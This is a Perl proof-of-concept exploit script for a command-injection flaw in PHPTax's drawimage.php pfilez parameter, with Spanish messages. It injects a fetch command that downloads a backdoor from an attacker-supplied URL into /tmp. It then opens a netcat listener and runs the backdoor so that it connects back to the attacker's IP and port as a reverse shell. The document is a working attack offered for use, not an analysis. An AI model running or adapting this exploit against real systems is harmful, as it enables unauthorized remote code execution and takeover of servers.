poc.pl (@killr00t)

#!/usr/bin/perl
require LWP::Simple;
require LWP::UserAgent;

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0");

$backdoor = $ARGV[0];
$atacante = $ARGV[1];
$puerto   = $ARGV[2];

if(!$backdoor || !atacante || !$puerto ){&help();}else{ &subirback();}

sub subirback{
    $test  ="test";
    $subir = "http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;fetch%20-o%20/tmp/%20".$backdoor."%20;&pdf=make";
    $list  = "http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;ls%20%-la%20/tmp/bdoor%20%3e".$test.";&pdf=make";
    $veri  = "http://172.16.49.129:8080/phptax/".$test;

    print "[+] Subiendo Backdoor ...\n";
    $su  = $ua->get($subir);
    $li  = $ua->get($list);

    print "[+] Verificando Upload Backdoor ...\n";
    $ve  = $ua->get($veri);
    $inf = $ve->content();

    if($ve->status_line()=~m/200/g and length($inf)>5){
        print "[+] Backdoor Subido Correctamente\n";
        print "[+] Ejecutando Backdoor ...\n";
        system("xterm -e nc -lvvp ".$puerto."&");
        &ejecutarback();
    }else{
        print "[x] Error al subir, verifique Ruta de backdoor\n";
    }
}


sub ejecutarback{

    $url="http://172.16.49.129:8080/phptax/drawimage.php?pfilez=xxx;%20perl%20/tmp/bdoor%20".$atacante."%20".$puerto.";&pdf=make";
    sleep(1);
    $res = $ua->get($url);
    print "\n[Done]\n";
}

sub help{
    print "Uso: erl $0 <rutaBackdoor> <ipAtacante> <puertoAtacante>\n";
}